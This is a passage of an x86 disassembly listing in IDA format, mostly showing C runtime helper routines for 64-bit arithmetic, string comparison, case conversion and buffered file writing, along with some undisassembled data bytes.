-0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27601C7h lea eax, [ebp+var_20] push eax nop call near ptr 2850000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2840000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2670C8Fh nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2670763h push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D call near ptr 2670763h nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 call near ptr 2800000h nop cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 0D3h dd 594E5F00h, 0C224027Ah, 18DDD3h, 0A164122Ah, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 70E890E8h, 33024442h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 4441F1E8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024426h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 36E89056h, 50022533h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 2651957h test eax, eax jnz short loc_41DAEB nop call near ptr 2670763h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz 